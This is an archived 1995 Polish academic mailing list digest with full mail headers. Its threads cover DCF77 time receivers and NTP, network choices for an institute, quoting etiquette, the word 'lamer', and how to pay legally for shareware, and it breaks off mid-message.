<3fmefl$4jp@sun1000.ci.pwr.wroc.pl> Subject: Re: Ustawianie czasu-odbiornik DCF77 Marek Michalkiewicz (ind43@sun1000.ci.pwr.wroc.pl) pisal: > Przy okazji, ciekawe byloby gdyby jeszcze Novell mogl sobie ustawiac > czas przez siec z hosta unixowego. Pozwoliloby to uniknac kupowania > drogiego (bo dla Novella) oprogramowania... --- Moze, ale o tym trzeba dyskutowac z fachofcami od Novella... Wojtek From kokowski@CS.PUT.Poznan.PL Fri Jan 20 08:46:52 1995 Received: from syriusz.cs.put.poznan.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA03228; Fri, 20 Jan 95 08:42:45 +0100 Return-Path: Received: from wega.ics.tup.edu.pl (wega.cs.put.poznan.pl) by syriusz.cs.put.poznan.pl (4.1/SMI-4.1) id AA11898; Fri, 20 Jan 95 08:44:56 +0100 Subject: Re: IdS: Czy "Internet dla Szkol" wymaga zezwolenia telekom To: polip@zsku.p.lodz.pl Date: Fri, 20 Jan 1995 08:31:08 +0100 (CEU) From: Tomasz Kokowski In-Reply-To: <3fm0kc$l5q@galaxy.uci.agh.edu.pl> from "Szymon Sokol" at Jan 19, 95 05:10:21 pm Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Length: 226 Message-Id: <9501200831.aa10919@wega.ics.tup.edu.pl> > > Taak... Biuro jest, ale to chyba wszystko. Te polaczenia to istniejace czy > planowane? Jak znajde chwile czasu to zeskanuje te mapke i przesle poczta. *to jest mapka istniejacych polaczen w Europie*. Tomasz Kokowski From news.polip@cyber.ict.pwr.wroc.pl Fri Jan 20 08:46:55 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA03238; Fri, 20 Jan 95 08:42:57 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id IAA11890 for polip@zsku.p.lodz.pl; Fri, 20 Jan 1995 08:31:54 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 20 Jan 1995 07:28:57 GMT From: Jacek Piskozub Message-Id: <3fnonp$71l@sunrise.pg.gda.pl> Organization: Politechnika Gdanska Sender: news.polip@cyber.ict.pwr.wroc.pl Subject: Re: Brzydkie slowa [niestety jeszcze raz] Zlamie dane slowo i wypowiem sie w tym temacie po raz trzeci. Co to znaczy brzydkie slowo? Jesli ktos za brzydkie slowo uwaza tylko ch**, d***, p********, k**** itd [cenzura wlasna - JP] to rzeczywiscie rzeczone slowo l*** nie jest wulgaryzmem. Istnieje jednak inna, malo w Polsce zauwazana, grupa wulgaryzmow. Sa to slowa (nazwy, epitety) majace jakas grupe ponizyc, osmieszyca i w inny sposob zochydzic. Do takich nalezy Polack w USA, Guglaj u nas (i setki innych przykladow). Amerykanskie slowniki slow wulgarnych (sa takie) zamieszczaja takie slowa na rowni z tymi pierwszymi (u mnie zagwiazdkowanymi). I takim slowem jest na pewno l*** (nie znize sie do napisania go w calosci). Slowo to oznacza mniej wiecej: "Stajacy na tak niskim etapie rozwoju [zazwyczaj w dziedzinach komputerowych], ze po prostu rece zalamac". A zatem stoi na rowni z takimi slowami jak kretyn, imbecyl (lub odpowiednimi przymiotnikami). Nazwanie kogos kretynem bylo by tu z pewnoscia ostro zganione. Nie tolerujmy zatem podobnych slow, tylko dlatego, ze ich autor ukrywa sie za bariera hermetycznosci [tzn. rozumieja to tylko wtajemniczeni, jak go obrazilem] a w dodatku odmawia na liscie powiedzenia co co slowo wlasciwie znaczy, oskarzajac przy tym tych, ktorzy tego nie wiedza o... No wlasnie znow o l***rstwo! Czyli, przetlumaczmy "debilizm w dziedzinie >jargon file<" [whatever that means :-)]. Fuj... Uwaga: jesli jakis slow powyzej NIE zagwiazdkowalem, to tylko po to aby wywod byl zrozumialy. Jakichs porownan miedzy slowami nie dalo sie uniknac. Pozdrowienia dla wszystkich, kiedykolwiek nazwanych l****ami!!! Wasz trzykrotnie nazwany l****em Jacek Piskozub piskozub@iopan.gda.pl From news.polip@cyber.ict.pwr.wroc.pl Fri Jan 20 09:46:52 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA04872; Fri, 20 Jan 95 09:42:55 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id JAA12810 for polip@zsku.p.lodz.pl; Fri, 20 Jan 1995 09:29:07 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 20 Jan 1995 08:23:06 GMT From: myszka@immt.pwr.wroc.pl (Wojciech Myszka) Message-Id: <3fnrta$f6@sun1000.ci.pwr.wroc.pl> Organization: Institute of Material Science and Technical Mechanics, Wroclaw, Poland Sender: news.polip@cyber.ict.pwr.wroc.pl References: <24A1F53446@sweet.iie.wsi.zgora.pl>, <3fmefl$4jp@sun1000.ci.pwr.wroc.pl>, <3fnma2$qfg@sun1000.ci.pwr.wroc.pl> Subject: Re: Ustawianie czasu-odbiornik DCF77 Pred chwila pisalem: > Moze, ale o tym trzeba dyskutowac z fachofcami od Novella... to mieli byc fachowcy, a nie jakies uszczypliwosci pod adresem administratorow Novella... Przepraszam, jezeli ktos poczul sie dotkniety W From GMIELCAR@sweet.iie.wsi.zgora.pl Fri Jan 20 12:26:53 1995 Received: from vigo.iie.wsi.zgora.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA07215; Fri, 20 Jan 95 12:24:07 +0100 Return-Path: Received: from candy1.iie.wsi.zgora.pl by vigo.iie.wsi.zgora.pl (AIX 3.2/UCB 5.64/4.03) id AA15725; Fri, 20 Jan 1995 12:24:34 +0100 Received: from CANDY/SpoolDir by candy.iie.wsi.zgora.pl (Mercury 1.20); 20 Jan 95 12:22:45 +0100 Received: from SpoolDir by CANDY (Mercury 1.20); 20 Jan 95 12:22:28 +0100 Received: from sweet.iie.wsi.zgora.pl by candy.iie.wsi.zgora.pl (Mercury 1.20) with ESMTP; 20 Jan 95 12:22:20 +0100 Received: from SWEET/SpoolDir by sweet.iie.wsi.zgora.pl (Mercury 1.20); 20 Jan 95 12:16:20 +0100 Received: from SpoolDir by SWEET (Mercury 1.20); 20 Jan 95 12:16:16 +0100 From: "Grzegorz Mielcarek" Organization: Instytut Informatyki i Elektroniki To: polip@zsku.p.lodz.pl Date: Fri, 20 Jan 1995 12:16:09 GMT+01 Subject: Re: Ustawianie czasu-odbiornik DCF77 X-Confirm-Reading-To: "Grzegorz Mielcarek" X-Pmrqc: 1 Priority: normal X-Mailer: Pegasus Mail v3.22 Message-Id: <4AC6AC7CF9@sweet.iie.wsi.zgora.pl> > From: ind43@sun1000.ci.pwr.wroc.pl (Marek Michalkiewicz) > > Widzialem taka oferte. Sam odbiornik (do RS232) z prostym programem > dla MS-DOG - 735tys., to samo + oprogramowanie do Novella - niestety > juz 10mln+VAT (ceny z zeszlego roku), brrr... > > Czy ktos wie, czy xntpd potrafi skorzystac z sygnalu DCF77 podanego > na port szeregowy? Gdyby tak bylo - Linux, xntpd, odbiornik DCF77... > i juz mamy niedrogi time server. > > Przy okazji, ciekawe byloby gdyby jeszcze Novell mogl sobie ustawiac > czas przez siec z hosta unixowego. Pozwoliloby to uniknac kupowania > drogiego (bo dla Novella) oprogramowania... > > Pozdrawiam > -- > Marek Michalkiewicz > marekm@i17linuxa.ists.pwr.wroc.pl || ind43@ci3ux.ci.pwr.wroc.pl > Wedlug mnie, jezeli wpadl Ci do glowy taki pomysl, to na pewno juz go ktos opatentowal. Takie jest zycie. Wymyslamy rzeczy, ktore juz ktos zrobil. Ale czasami moze nam sie udac. Powrot do zegara DCF77: moze ktos znajdzie i wrzuci jakies schematy i opisy takiego zegarka??? Ja niestety nie jestem elektronikiem i nie czytam fachowej prasy z tej dziedziny, ale chetnie czemus takiemu bym sie przyjrzal. -Grzesiek From LBIENK@Vela.filg.uj.edu.pl Fri Jan 20 13:46:54 1995 Received: from nms.cyf-kr.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA08547; Fri, 20 Jan 95 13:44:49 +0100 Return-Path: Received: from lfs.cyf-kr.edu.pl (lfs.cyf-kr.edu.pl [149.156.2.7]) by nms.cyf-kr.edu.pl (8.6.9/8.6.9) with SMTP id NAA19998 for ; Fri, 20 Jan 1995 13:42:32 +0100 Received: from Vela.filg.uj.edu.pl by lfs.cyf-kr.edu.pl (4.1/SMI-4.1) id AA18019; Fri, 20 Jan 95 13:41:46 +0100 Received: from VELA/MAILQUEUE by Vela.filg.uj.edu.pl (Mercury 1.20); 20 Jan 95 13:47:12 GMT+2 Received: from MAILQUEUE by VELA (Mercury 1.20); 20 Jan 95 13:47:11 GMT+2 From: "Lukasz Bienkowski" Organization: Collegium Paderevianum, Jagell.Univ To: polip@zsku.p.lodz.pl Date: Fri, 20 Jan 1995 13:47:06 GMT+1 Subject: Re: Palac Staszica - jaka siec lokalna wybrac? Priority: normal X-Mailer: Pegasus Mail v3.22 Message-Id: <194ECA1E24@Vela.filg.uj.edu.pl> > Dyrekcja mojego Instytutu zamierza zalozyc siec lokalna w Palacu Staszica > (to jest to, co widac na starych 50.000 zl). Siec ma sluzyc > Instytutowi Filozofii i Socjologii, ale byc moze takze Instytutowi > Badan Literackich i innym. Lacznie moze to byc ok 100 komputerow > (wszystko klony IBMa, 286, 386, pare 486 z DOSem, kilka z Windowsami. > Przy tym byc moze IBL udostepni swojego SUNa sparcstation 5. Do tego > caly Palac dostal centrale ISDN (na razie ISDN bedzie tylko wewnatrz > po skretce telefonicznej z lat 50-tych). Do Palacu dociagnieto > juz swiatlowod z Uniwersytetu, ktory ma umozliwic dostep do Internetu > po zainstalowaniu bridge'a. Cos jak bylo u nas: duzy budynek (10 pieter), dwa malutkie obok, kilkadziesiat PCetow, swiatlowod w piwnicy i... cale mnostwo ludzi, ktorzy na widok komputera dostaja drgawek :-) > Pytanie jest takie: jaka siec bylaby najodpowiedniejsza w tych warunkach? > Dodam, ze cala zaloga jest czysto humanistyczna, na widok komputera > czesc dostaje drgawek, wiec chodzi o rozwiazania przyjazne uzytkownikom. Decyzja jaka podjeto "na gorze" byla - Novell. Z perspektywy blisko roku trzeba przyznac, ze spisuje sie calkiem niezle, a co najwazniejsze (moim zdaniem) jest calkiem "przezroczysty" dla uzytkownika - dostaje on na swoim komputerze tylko kilka nowych "literek" (F:, G:, itd), a moze wysylac poczte, korzystac z innych uslug, drukarek, itd. Plusem w polskich warunkach jest duza ilosc calkiem niezlego (a co najwazniejsze darmowego) oprogramowania do obslugi Internetu (ale o tym juz ktos pisal przede mna). Trzeba wziac pod uwage, ze jesli juz ktos pokona drgawki i pracuje na komputerze (uczelnianym lub wlasnym) to przewaznie jest po PC, dzis najczesciej z Windows i chce z tego korzystac dalej w sieci. Korzystanie z "obcych" drukarek jest rowniez raczej bezproblemowe. > Czy mozna wykorzystac ISDN na potrzeby sieci? > Sadze, ze bedzie duze zapotrzebowanie na poczte Internetowa, mniejsze > na telnet i ftp. Bardzo odradzano mi Novella jako trudnego > do pogodzenia z jakimkolwiek oprogramowaniem. W praktyce z Windows mozna go pogodzic w sposob, ktory nie sposob nazwac trudnym. Niestety nie znam innych proponowanych tu wczesniej rozwiazan na tyle dobrze, aby jednoznacznie stwierdzic, ze Novell jest najlepszym wyjsciem. Jednak nie moge zgodzic sie z twierdzeniem, ze jest to rozwiazanie zle. U nas spisuje sie doskonale... > Bede wdzieczny za wszelkie rady. > > Piotr Wiench > II*****************************************II*************************II > II Piotr Wiench II Internet: II > II Zaklad Teorii Kultury II wiench@plearn.edu.pl II > II Instytut Filozofii i Socjologii PAN II Voice:+(48)(22)265231 II > II Ul. Nowy Swiat 72, PL-00-330 Warszawa II x 74 II > II II Fax: +(48)(22)267181 II > II*****************************************II*************************II > ==================================================================== Lukasz Bienkowski - lbienk@vela.filg.uj.edu.pl Uniwersytet Jagiellonski - Wydzial Filologiczny Collegium Paderevianum, 31-120 Krakow, al. Mickiewicza 9/11, p. 908 ==================================================================== From news.polip@cyber.ict.pwr.wroc.pl Fri Jan 20 14:46:55 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA09725; Fri, 20 Jan 95 14:42:53 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id OAA18223 for polip@zsku.p.lodz.pl; Fri, 20 Jan 1995 14:27:39 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: Fri, 20 Jan 1995 13:24:26 GMT From: michalj@fuw.edu.pl (Michal Jankowski) Message-Id: Organization: Department of Physics, Warsaw University Sender: news.polip@cyber.ict.pwr.wroc.pl Subject: Ludzie!!!!... ja bardzo prosze, miejscie litosc dla tych, ktorzy was czytaja. Coraz czesciej dostaje z polipa listy, w ktorych ___wiekszosc___ stanowia cytaty z przedmowcy i podpisy, oraz, co gorsza, cytaty podpisow. Ja rozumiem, ze niektorzy ludzie lubia dlugie podpisy. Ich prawo. Ale, czy cytujac list Pana A, z podpisem na 10 linii, Pan B, przed dopisaniem swojego podpisu na 8 linii, nie moglby podpisu Pana A wykasowac? Jesli ktos odpowiada na list o dlugosci kilku stron jedna linijka, to niechze tych kilku stron nie cytuje in exenso, prosze... Nie wiem, jak inni, ale ja dosc czesto czytuje poczte z domu - przez modem. Poprobujcie czytac polipa na 2400 bps, to sie nie bedziecie dziwic, ze narzekam. MJ From news.polip@cyber.ict.pwr.wroc.pl Fri Jan 20 16:05:10 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA11882; Fri, 20 Jan 95 16:02:54 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id PAA20246 for polip@zsku.p.lodz.pl; Fri, 20 Jan 1995 15:59:14 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 20 Jan 1995 14:59:03 GMT From: myszka@immt.pwr.wroc.pl (Wojciech Myszka) Message-Id: <3foj3n$idq@sun1000.ci.pwr.wroc.pl> Organization: Institute of Material Science and Technical Mechanics, Wroclaw, Poland Sender: news.polip@cyber.ict.pwr.wroc.pl References: Subject: Re: Ludzie!!!!... Michal Jankowski (michalj@fuw.edu.pl) pisal: > Nie wiem, jak inni, ale ja dosc czesto czytuje poczte z domu - przez > modem. Poprobujcie czytac polipa na 2400 bps, to sie nie bedziecie > dziwic, ze narzekam. --- i tak niezle, ja mam tylko 1200 :-) W From news.polip@cyber.ict.pwr.wroc.pl Fri Jan 20 16:26:55 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA12842; Fri, 20 Jan 95 16:22:51 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id QAA20445 for polip@zsku.p.lodz.pl; Fri, 20 Jan 1995 16:10:50 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 20 Jan 1995 14:44:29 GMT From: dziuma@zeus.polsl.gliwice.pl (Justyna Dziuma) Message-Id: <3foi8d$jo0@hades.polsl.gliwice.pl> Organization: Politechnika Slaska w Gliwicach Sender: news.polip@cyber.ict.pwr.wroc.pl Subject: Jak zarejestrowac oprogramowanie sciagniete z sieci? Drodzy! Sciagnelismy z sieci nowego xv3.11 i chcielibysmy go zarejestrowac, zeby autor mial co jesc i my zebysmy legalni byli. No i nie wiadomo, jak to zrobic, zeby Uczelnia zechciala dac pieniadze. Uczelnia powinna miec fakture czy cos takiego, no a skad ja wezme fakture? Pomozcie byc uczciwym obywatelem. J. __ Justyna Dziuma, , Office: (+4832)37-21-12 Computer Center of the Silesian Technical University, Gliwice, Poland From muhlig@usctoux1.cto.us.edu.pl Fri Jan 20 16:46:57 1995 Received: from usctoux1.cto.us.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA13580; Fri, 20 Jan 95 16:42:34 +0100 Return-Path: Subject: Re: Jak zarejestrowac oprogramowanie sciagniete z sieci? To: polip@zsku.p.lodz.pl Date: Fri, 20 Jan 1995 16:45:54 -0100 (MET) From: Maciek Uhlig In-Reply-To: <3foi8d$jo0@hades.polsl.gliwice.pl> from "Justyna Dziuma" at Jan 20, 95 04:31:49 pm X-Mailer: ELM [version 2.4 PL23~] Content-Type: text Content-Length: 967 Message-Id: <9501201645.aa01434@usctoux1.cto.us.edu.pl> Justyna Dziuma wrote: > Sciagnelismy z sieci nowego xv3.11 i chcielibysmy go zarejestrowac, zeby autor > mial co jesc i my zebysmy legalni byli. > No i nie wiadomo, jak to zrobic, zeby Uczelnia zechciala dac pieniadze. > Uczelnia powinna miec fakture czy cos takiego, no a skad ja wezme fakture? > Pomozcie byc uczciwym obywatelem. A odprawa celna? A podatek graniczny? :-)))))))))))) No wlasnie, jak to zrobic? Tez bym chcial byc legalny. Proponuje, aby ten, ktory juz przetarl te sciezke, sie odezwal. Zobaczymy, kto tu jest u nas nielegalny :-) Maciek Uhlig ---------------------------------------------------------------------- Maciej UHLIG, Computer Center, Silesian University Uniwersytecka 4 St., 40-007 KATOWICE, POLAND Internet: muhlig@usctoux1.cto.us.edu.pl Voice: +48 (32) 588211 (1768) Fax: +48 (32) 596847 ***** Imagine all the people sharing all the world (John Lennon) ***** From news.polip@cyber.ict.pwr.wroc.pl Fri Jan 20 17:05:12 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA14404; Fri, 20 Jan 95 17:02:51 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id QAA21231 for polip@zsku.p.lodz.pl; Fri, 20 Jan 1995 16:57:40 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 20 Jan 1995 15:44:58 GMT From: rzm@dain.oso.chalmers.se (Rafal Maszkowski) Message-Id: <3folpq$47s@Waldemar.mat.uni.torun.pl> Organization: OSO Sender: news.polip@cyber.ict.pwr.wroc.pl References: <24A1F53446@sweet.iie.wsi.zgora.pl>, <3fmefl$4jp@sun1000.ci.pwr.wroc.pl> Subject: Re: Ustawianie czasu-odbiornik DCF77 Marek Michalkiewicz (ind43@sun1000.ci.pwr.wroc.pl) wrote: > Grzegorz Mielcarek (GMIELCAR@sweet1.iie.wsi.zgora.pl) wrote: > Czy ktos wie, czy xntpd potrafi skorzystac z sygnalu DCF77 podanego > na port szeregowy? Gdyby tak bylo - Linux, xntpd, odbiornik DCF77... > i juz mamy niedrogi time server. Wiem, ze moze sie synchronizowac przez port szeregowy. W clock.txt i ntp.faq sa wymienione jakies odbiorniki i formaty. > Przy okazji, ciekawe byloby gdyby jeszcze Novell mogl sobie ustawiac > czas przez siec z hosta unixowego. Pozwoliloby to uniknac kupowania > drogiego (bo dla Novella) oprogramowania... Tutejszy SysAdm robi to przy uzyciu rdate, ktory sciagnal przez ftp z serwera Novella. R. -- Rafal Maszkowski rzm@oso.chalmers.se http://www.mat.uni.torun.pl/~rzm Opinia publiczna powinna byc zaalarmowana swoim nieistnieniem - St. J. Lec From markk1@ix.netcom.com Fri Jan 20 17:16:56 1995 Received: from ix3.ix.netcom.com by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA15182; Fri, 20 Jan 95 17:15:51 +0100 Return-Path: Received: from by ix3.ix.netcom.com (8.6.9/SMI-4.1/Netcom) id IAA10383; Fri, 20 Jan 1995 08:16:19 -0800 Date: Fri, 20 Jan 1995 08:16:19 -0800 Message-Id: <199501201616.IAA10383@ix3.ix.netcom.com> From: markk1@ix.netcom.com (Mark W. Kaliczynski) Subject: Re: Brzydkie slowa [niestety jeszcze raz] To: polip@zsku.p.lodz.pl Jacek Piskozub pisal: >Co to znaczy brzydkie slowo? >Jesli ktos za brzydkie slowo uwaza tylko ch**, d***, p********, k**** >itd [cenzura wlasna - JP] to rzeczywiscie rzeczone slowo l*** nie >jest wulgaryzmem. >Istnieje jednak inna, malo w Polsce zauwazana, grupa wulgaryzmow. >Sa to slowa (nazwy, epitety) majace jakas grupe ponizyc, osmieszyca >i w inny sposob zochydzic. Do takich nalezy Polack w USA, Guglaj >u nas (i setki innych przykladow). Amerykanskie slowniki slow >wulgarnych (sa takie) zamieszczaja takie slowa na rowni z tymi >pierwszymi (u mnie zagwiazdkowanymi). Jedno znaczenie slowa lame jest "nieprzekonywujacy"; argumenty, co do tej pory przytoczone, o wulgarnosci slowa lame sa nieprzekonywujace - czyli lame. :-) Jezeli chcemy gwiazdkowac wulgaryzmy to slowo Polack powinno byc ogwiazdkowane poniewaz we wspolczesnym uzyciu, w USA przynajmniej, jest ono uwazane za wulgarne. Nalezy dodac ze dawniej znaczylo ono to samo co Pole teraz i po prostu z biegiem czasu zostalo uzywane w znaczeniu ponizajacym i wulgarnym. Tutaj mam zeskanowana definicje slowa Polack z Webster's slownika. W znaczeniu drugim jest to wyraznie wulgarne slowo. Polack, n. [from Pol. Polak.] 1. a Pole. [Obs.] 2. a person of Polish descent: vulgar term of prejudice and contempt. [Slang.] Co do lame to jest to slowo uzywane, wbrew temu co Jacek Piskozub pisze, raczej jako LAGODNY SYNONIM (ponizej w definicji ze slownika, szczegolnie w miejscach zaznaczonych wykrzyknikami, mozna zuwazyc ze synonimy sa znacznie ostrzejsze niz slowo lame) do opisu bardziej dobitnych wyrazen. Slowo to jest bardzo czesto uzywane w USA w potocznym zyciu. Dla przykladu nauczyciej do ucznia tlumaczacego sie nieprzekonywujaco o nieodrobieniu zadania czesto powie ze jest to lame excuse . Lame Duck jest bardzo czesto uzywane do okreslenia politykow siedzacych na stanowisku w okresie krotko po przegraniu wyborow etc. Tutaj podaje definicje zeskanowana z Webster s Dictionary ktora, wydaje mi sie raz na zawsze, wyjasni to slowo: lame (la-ma), n. [Fr., lame, laminated from lame, a plate or sheet of metal; metallic thread, especlally gold or silver thread.] a fabnc made of metal threads, especially of gold or silver, sometimcs interwoven with sllk, wool, or cotton: it is a heavy material usually lustrous and rich, and often figured. lame, n [Fr., from L. lamina, lamna, a thin piece of metal or wood.] 1. a thin plate, usually of metal. 2 [pl.] the thin, overlapping metal plates in a plece of armor. Iame, a.; comp. Iamer- supcrl. Iamest, [ME. lame; AS. lama, lame.| 1. crippled; disabled, especially, having an injured leg or foot; unable to use a limb or Iimbs properly; limping; halting; as, a lame man 2. unsound from a defect or injury; crip- pled; stiff and very painful; as, a lame back or arm. !!!3. poor; ineffectual- imperfect, not satis- factory or convincing; hobbling; lacking in smoothness; as, a lame excuse. Iame duck; (a) anything or anvone that is disabled, inefficient, ineffectual, or helpless (b) a speculator who is unable to fulfill his obligatlons, especially a defaulter on the stock exchange (c) a member of a legislative body, especlahy (formerly) of Congress, whose term extends beyond the time of the election at which he was not re-elected. Lame Duck Amendment; the twentieth Amendment to the Constitution of the United States, which abolished the short Congres- sional session, Lame Duck Session (after Oc- tober 15, 1933), by requiring each Congress to meet not less than once a year, beginning January 3. Lame Duck Session; formerly, the session of Congress immediately following the Novem- ber elections which included members of Con- grcss who had failed to be re-elected: abol- ished by the Lame Duck Amcndment. !!!Syn.-weak, faltering, hobbling, hesitating, ineffectivemmpotent, crippled, halt, defec- tive, imperfect. Iame, v.t.; lamed, pt., pp.; laming, ppr. to make lame; to cripple or disable, to make imperfect and unsound; as, to lame an arm or a leg, lame, v.i. to become lame. Nalezy zauwazyc ze kazdy jezyk to jest tak jak zywy zmieniajacy i przeksztalcajacy sie ciagle organizm i jezeli wystarczajaco duza liczba ludzi zacznie uzywac slowo lame w nowym wulgarnym (tak jak Jacek Piskozub:-) znaczeniu to z biegiem czasu zostanie to nowe znaczenie zaakceptowane tak jak slowo Polack, kiedys calkowicie neutralne zostalo zwulgaryzowane z biegiem czasu. Mark -- Mark W. Kaliczynski voice: +1-201-252-1797 ext. 255 fax: +1-201-252-1797 ext. 329 e-mail: markk1@ix.netcom.com From PAWLAK@zeubac.desy.de Fri Jan 20 17:41:56 1995 Received: from AXDSYB.desy.de by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA15986; Fri, 20 Jan 95 17:38:01 +0100 Return-Path: Received: from DECNET-MAIL (PAWLAK@ZEUBAC) by vxdesy.desy.de (PMDF V4.3-11 #6950) id <01HM2T4DS9NK90NA34@vxdesy.desy.de>; Fri, 20 Jan 1995 17:39:01 +0100 Date: Fri, 20 Jan 1995 17:39:01 +0100 From: Jerzy Michal Pawlak Subject: Re: Jak zarejestrowac oprogramowanie sciagniete z sieci? To: polip@zsku.p.lodz.pl Message-Id: <01HM2T4DTPGI90NA34@vxdesy.desy.de> X-Vms-To: VXDESY::IN%"polip@zsku.p.lodz.pl" X-Vms-Cc: PAWLAK Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Transfer-Encoding: 7BIT > Sciagnelismy z sieci nowego xv3.11 i chcielibysmy go zarejestrowac, zeby autor > mial co jesc i my zebysmy legalni byli. > No i nie wiadomo, jak to zrobic, zeby Uczelnia zechciala dac pieniadze. > Uczelnia powinna miec fakture czy cos takiego, no a skad ja wezme fakture? > Pomozcie byc uczciwym obywatelem. Wez od Uczelni zlecone na temat 'instalacja oprogramowania graficznego'. Dobierz tak, zeby honorarium (po odliczeniu podatku) zgodzilo sie z oplata za rejestracje. Zarejestruj xv placac 'z wlasnej kieszeni'. Michal From krzysio@hebe.umcs.lublin.pl Fri Jan 20 17:46:56 1995 Received: from hebe.umcs.lublin.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA16252; Fri, 20 Jan 95 17:44:49 +0100 Return-Path: Received: (from krzysio@localhost) by hebe.umcs.lublin.pl (8.6.9/8.6.9) id QAA16240 for polip@zsku.p.lodz.pl; Fri, 20 Jan 1995 16:46:40 GMT From: Krzysztof Mlynarski Message-Id: <199501201646.QAA16240@hebe.umcs.lublin.pl> Subject: Re: Brzydkie slowa [niestety jeszcze raz] To: polip@zsku.p.lodz.pl Date: Fri, 20 Jan 1995 17:46:40 +0100 (MET) In-Reply-To: <3fnonp$71l@sunrise.pg.gda.pl> from "Jacek Piskozub" at Jan 20, 95 08:59:41 am X-Mailer: ELM [version 2.4 PL22] Content-Type: text Content-Length: 1201 Jacek Piskozub wrote: > > Fuj... > > Uwaga: jesli jakis slow powyzej NIE zagwiazdkowalem, to tylko po > to aby wywod byl zrozumialy. Jakichs porownan miedzy slowami nie > dalo sie uniknac. > > Pozdrowienia dla wszystkich, kiedykolwiek nazwanych l****ami!!! > > Wasz trzykrotnie nazwany l****em > Fuj... a moze zalozyc po prostu liste LAMERS-L dla lamerow i tam beda mogli uzywac wulgaryzmow, sprzeczac sie itd. Np. w FidoNet jest taka konferencja LAMERS.ONLY.PL i tam wlasnie mozna poruszac interesujace takie srodowiska tematy. :-) Pozdrawiam Wszystkich, -Krzysio -- +---------------------------------------------------------------+ | E-mail: =Unix/Network Security Expert= | | krzysio@hebe.umcs.lublin.pl IRC: Krzysio Radio: SQ5ASM | | root@hebe.umcs.lublin.pl Voice phone: +48-81-37-56-76 | | 3W home page: http://hebe.umcs.lublin.pl/Krzysio/Krzysio.html | | | | "You can't kill ... what was killed before ..." | | - unknown vampire | +---------------------------------------------------------------+ From news.polip@cyber.ict.pwr.wroc.pl Fri Jan 20 18:05:10 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA17337; Fri, 20 Jan 95 18:02:54 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id RAA22112 for polip@zsku.p.lodz.pl; Fri, 20 Jan 1995 17:50:48 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 20 Jan 1995 16:45:05 GMT From: lis@asic.ict.pwr.wroc.pl (Jarek Lis) Message-Id: <3fopah$mr6@sun1000.ci.pwr.wroc.pl> Organization: Technical Univeristy of Wroclaw Sender: news.polip@cyber.ict.pwr.wroc.pl References: <3foi8d$jo0@hades.polsl.gliwice.pl> Subject: Re: Jak zarejestrowac oprogramowanie sciagniete z sieci? Justyna Dziuma (dziuma@zeus.polsl.gliwice.pl) wrote: : Drodzy! : Sciagnelismy z sieci nowego xv3.11 i chcielibysmy go zarejestrowac, zeby autor : mial co jesc i my zebysmy legalni byli. : No i nie wiadomo, jak to zrobic, zeby Uczelnia zechciala dac pieniadze. : Uczelnia powinna miec fakture czy cos takiego, no a skad ja wezme fakture? : Pomozcie byc uczciwym obywatelem. sa dwa rozwiazania: 1. trzeba napisac do autorow, zeby przyslali 'INVOICE' czyli wlasnie fakture, w paczce lub liscie, z czyms co mozna uznac za licencje (kawalek papieru z napisanym wyraznie, ze jest to prawo do uzywania oprogramowania). Jak list/paczka przyjdzie, absolutnie nie otwierac, tylko popedzic do Urzedu celnego i tam przedstawic do oclenia. Z cla jestescie zwolnieni, z VAT'u tez, zreszta od licencji VATu sie nie nalicza. Invoice, opieczetowany przez UC, jest podstawa do przekazu pieniedzy za granice. Aha, w UC trzeba wypelnic SAD. 2. Wyplaca sie komus potrzebnej wielkosci premie/zlecenie. Ten ktos wysyla pieniadze autorom, 